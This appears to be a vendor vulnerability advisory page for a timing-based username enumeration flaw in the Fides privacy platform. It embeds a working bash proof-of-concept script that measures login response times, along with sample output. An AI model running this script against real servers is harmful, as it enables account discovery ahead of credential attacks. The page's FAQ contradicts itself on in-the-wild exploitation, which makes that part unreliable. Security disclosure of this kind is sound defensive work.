How severe is GHSA-2h46-8gf5-fmxv?

No CVSS score has been assigned to GHSA-2h46-8gf5-fmxv yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by GHSA-2h46-8gf5-fmxv?

GHSA-2h46-8gf5-fmxv affects the following packages: ethyca-fides (PyPI). Ecosystems affected: PyPI.

How do I fix GHSA-2h46-8gf5-fmxv?

Update ethyca-fides to 2.44.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-2h46-8gf5-fmxv is resolved across your whole dependency graph.

How do I detect GHSA-2h46-8gf5-fmxv in my PyPI dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for ethyca-fides, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate GHSA-2h46-8gf5-fmxv if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-2h46-8gf5-fmxv?

O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-2h46-8gf5-fmxv can be triaged on real exposure rather than presence alone.

Is GHSA-2h46-8gf5-fmxv actively exploited in the wild?

Yes. There are 1 known exploit references for GHSA-2h46-8gf5-fmxv, including 1 in-the-wild exploitation observed on GitHub and other sources. Treat this as actively exploitable and prioritize patching immediately. All exploit code should only be run in an isolated sandbox environment for research or authorized testing — never against production systems without explicit written authorization.

What is the EPSS score for GHSA-2h46-8gf5-fmxv?

GHSA-2h46-8gf5-fmxv has an EPSS (Exploit Prediction Scoring System) score of 0.6%, placing it in the 45th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is GHSA-2h46-8gf5-fmxv?

GHSA-2h46-8gf5-fmxv is classified as CWE-208 (CWE-208), CWE-203 (CWE-203). These weakness types describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation.

When was GHSA-2h46-8gf5-fmxv published, and has it been updated?

GHSA-2h46-8gf5-fmxv was published on September 4, 2024 and was last updated on September 10, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐍 PyPI

Not in CISA KEV

GHSA-2h46-8gf5-fmxv — ethyca-fides

GHSA-2h46-8gf5-fmxv is a CWE-208 vulnerability in ethyca-fides. 1 public exploit reference exists, so weaponization risk is real. A fix is available for ethyca-fides — see the affected versions and patch details below.

Timing-Based Username Enumeration Vulnerability in Fides Webserver Authentication

Also known asCVE-2024-45052PYSEC-2026-1331

Published

Sep 4, 2024

Updated

Sep 10, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

1 known

Exploitation data as of Sep 18, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for GHSA-2h46-8gf5-fmxv.

EPSS Exploitation Probability

via FIRST.org ↗

0.6%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs45th percentile — riskier than 45% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

1 pkg affected

🐍ethyca-fides

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Impact

This vulnerability enables a timing-based username enumeration attack. An attacker can systematically guess and verify which usernames are valid by measuring the server's response time to authentication requests. This information can be used to conduct further attacks on authentication such as password brute-forcing and credential stuffing.

Patches

The vulnerability has been patched in Fides version 2.44.0. Users are advised to upgrade to this version or later to secure their systems against this threat.

Workarounds

There are no workarounds.

Proof of Concept

Create a valid user called valid_user on a remote Fides server. Ensure that there is no user on the server named invalid_user. Note that this vulnerability is not reproducible on a local deployment due to the extremely low latency of responses to login requests.
In a terminal run export LOGIN_URL='https://example.com/api/v1/login', replacing example.com with your remote Fides server's domain or IP address.
In the same terminal run exploit-poc.sh (detailed below).
It's possible to distinguish between valid and invalid users based on the low latency (time difference) for invalid users.

<details> <summary>Exploit PoC script</summary>

#!/bin/bash

# Function to test login and calculate average transfer times
test_login(){
  echo -e "\nTesting login for user: $1\n"
  total_diff=0

  for (( i=1; i <= 20; ++i ))
  do
    echo -n "Attempt #$i: "
    resp=$(curl -w @- "$LOGIN_URL" \
      -H 'content-type: application/json' \
      --data-raw '{"username":"'$1'","password":"d3JvbmdwYXNzd29yZA=="}' \
      -o /dev/null -s <<'EOF'
      {
        "pretransfer":  %{time_pretransfer},
        "starttransfer": %{time_starttransfer}
      }
EOF
    )
    
    pre=$(echo $resp | jq '.pretransfer')
    start=$(echo $resp | jq '.starttransfer')
    diff=$(echo "$start - $pre" | bc)

    # Accumulate total diff
    total_diff=$(echo "$total_diff + $diff" | bc)
    
    # Print the result of this iteration
    printf "Pretransfer: %.4f, Starttransfer: %.4f, Diff: %.4f\n" "$pre" "$start" "$diff"
  done
  
  # Calculate average diff
  avg_diff=$(echo "scale=4; $total_diff / 20" | bc)
  
  # Print average time
  echo -e "\nAverage Time Difference for $1: $avg_diff seconds\n"
}

# Ensure that LOGIN_URL is set
if [ -z "$LOGIN_URL" ]; then
  echo "Error: LOGIN_URL environment variable is not set."
  exit 1
fi

# Test valid and invalid users
test_login valid_user 
test_login invalid_user

</details> <details> <summary>Sample script run</summary>

~ ❯ ./exploit-poc.sh

Testing login for user: valid_user

Attempt #1: Pretransfer: 0.3006, Starttransfer: 0.7404, Diff: 0.4398
Attempt #2: Pretransfer: 0.2755, Starttransfer: 1.2506, Diff: 0.9751
Attempt #3: Pretransfer: 0.2595, Starttransfer: 0.7108, Diff: 0.4512
Attempt #4: Pretransfer: 0.2551, Starttransfer: 1.0483, Diff: 0.7932
Attempt #5: Pretransfer: 0.2553, Starttransfer: 0.6680, Diff: 0.4127
Attempt #6: Pretransfer: 0.2599, Starttransfer: 0.6712, Diff: 0.4113
Attempt #7: Pretransfer: 0.2518, Starttransfer: 0.6603, Diff: 0.4085
Attempt #8: Pretransfer: 0.2467, Starttransfer: 0.6812, Diff: 0.4344
Attempt #9: Pretransfer: 0.2502, Starttransfer: 0.8175, Diff: 0.5673
Attempt #10: Pretransfer: 0.2583, Starttransfer: 0.6904, Diff: 0.4321
Attempt #11: Pretransfer: 0.2573, Starttransfer: 0.6601, Diff: 0.4029
Attempt #12: Pretransfer: 0.2481, Starttransfer: 0.8495, Diff: 0.6014
Attempt #13: Pretransfer: 0.2487, Starttransfer: 0.6822, Diff: 0.4336
Attempt #14: Pretransfer: 0.2526, Starttransfer: 0.9728, Diff: 0.7201
Attempt #15: Pretransfer: 0.2573, Starttransfer: 0.9808, Diff: 0.7235
Attempt #16: Pretransfer: 0.2459, Starttransfer: 0.6536, Diff: 0.4078
Attempt #17: Pretransfer: 0.2508, Starttransfer: 0.9024, Diff: 0.6517
Attempt #18: Pretransfer: 0.2477, Starttransfer: 2.2049, Diff: 1.9572
Attempt #19: Pretransfer: 0.2523, Starttransfer: 2.1087, Diff: 1.8564
Attempt #20: Pretransfer: 0.2523, Starttransfer: 0.7308, Diff: 0.4785

Average Time Difference for valid_user: .6779 seconds


Testing login for user: invalid_user

Attempt #1: Pretransfer: 0.2496, Starttransfer: 0.4122, Diff: 0.1626
Attempt #2: Pretransfer: 0.2551, Starttransfer: 0.4049, Diff: 0.1498
Attempt #3: Pretransfer: 0.2480, Starttransfer: 0.6174, Diff: 0.3694
Attempt #4: Pretransfer: 0.2489, Starttransfer: 0.4611, Diff: 0.2122
Attempt #5: Pretransfer: 0.2513, Starttransfer: 0.4601, Diff: 0.2088
Attempt #6: Pretransfer: 0.2540, Starttransfer: 0.3946, Diff: 0.1406
Attempt #7: Pretransfer: 0.2504, Starttransfer: 0.9104, Diff: 0.6599
Attempt #8: Pretransfer: 0.2577, Starttransfer: 0.4095, Diff: 0.1518
Attempt #9: Pretransfer: 0.2497, Starttransfer: 0.3851, Diff: 0.1353
Attempt #10: Pretransfer: 0.2548, Starttransfer: 0.4024, Diff: 0.1476
Attempt #11: Pretransfer: 0.2559, Starttransfer: 0.4002, Diff: 0.1443
Attempt #12: Pretransfer: 0.2501, Starttransfer: 0.4075, Diff: 0.1573
Attempt #13: Pretransfer: 0.2560, Starttransfer: 0.3921, Diff: 0.1361
Attempt #14: Pretransfer: 0.2493, Starttransfer: 0.3933, Diff: 0.1440
Attempt #15: Pretransfer: 0.2493, Starttransfer: 0.3942, Diff: 0.1449
Attempt #16: Pretransfer: 0.2599, Starttransfer: 0.5111, Diff: 0.2512
Attempt #17: Pretransfer: 0.2455, Starttransfer: 0.4128, Diff: 0.1673
Attempt #18: Pretransfer: 0.2558, Starttransfer: 1.7535, Diff: 1.4977
Attempt #19: Pretransfer: 0.2515, Starttransfer: 1.4528, Diff: 1.2013
Attempt #20: Pretransfer: 0.2483, Starttransfer: 0.3893, Diff: 0.1410

Average Time Difference for invalid_user: .3161 seconds

~ ❯

</details>

Severity

This vulnerability has been assigned a severity of LOW.

Using CVSS v3.1 it could be scored asAV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N (5.3 Medium/Moderate) or AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N (0.0 None) depending on the Confidentiality impact metric used.

In Bugcrowd's vulnerability rating taxonomy it most likely be assigned a technical severity of P4 (Low) Broken Access Control (BAC) > Username/Email Enumeration > Non-Brute Force.

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐍PyPI	`ethyca-fides`	all versions	2.44.0`pip install --upgrade 'ethyca-fides==2.44.0'`

Exploits & PoCs

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Fides is an open-source privacy engineering platform. Prior to version 2…

github.comNVDSep 2024

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for ethyca-fides, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update ethyca-fides to 2.44.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-2h46-8gf5-fmxv is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-2h46-8gf5-fmxv can be triaged on real exposure rather than presence alone.

Tailored to GHSA-2h46-8gf5-fmxv. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

A timing-based username enumeration vulnerability has been identified in Fides Webserver authentication. This vulnerability allows an unauthenticated attacker to determine the existence of valid usernames by analyzing the time it takes for the server to respond to login requests. The discrepancy in response times between valid and invalid usernames can be leveraged to enumerate users on the system. ### Impact This vulnerability enables a timing-based username enumeration attack. An attacker can systematically guess and verify which usernames are valid by measuring the server's response time t

O3 Security · Impact-Aware SCA

Is GHSA-2h46-8gf5-fmxv in your dependencies?

O3 Security finds GHSA-2h46-8gf5-fmxv across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

Scan my dependencies How O3 SCA works

GHSA-2h46-8gf5-fmxv — ethyca-fides

Exploitation Status

Proof-of-concept exploit code exists

EPSS Exploitation Probability

Real-World Exposure

Description

Impact

Patches

Workarounds

Proof of Concept

Severity

Affected Packages

Detection & mitigation playbook

Detect

Fix

Workarounds

How O3 protects you

Frequently Asked Questions

Is GHSA-2h46-8gf5-fmxv in your dependencies?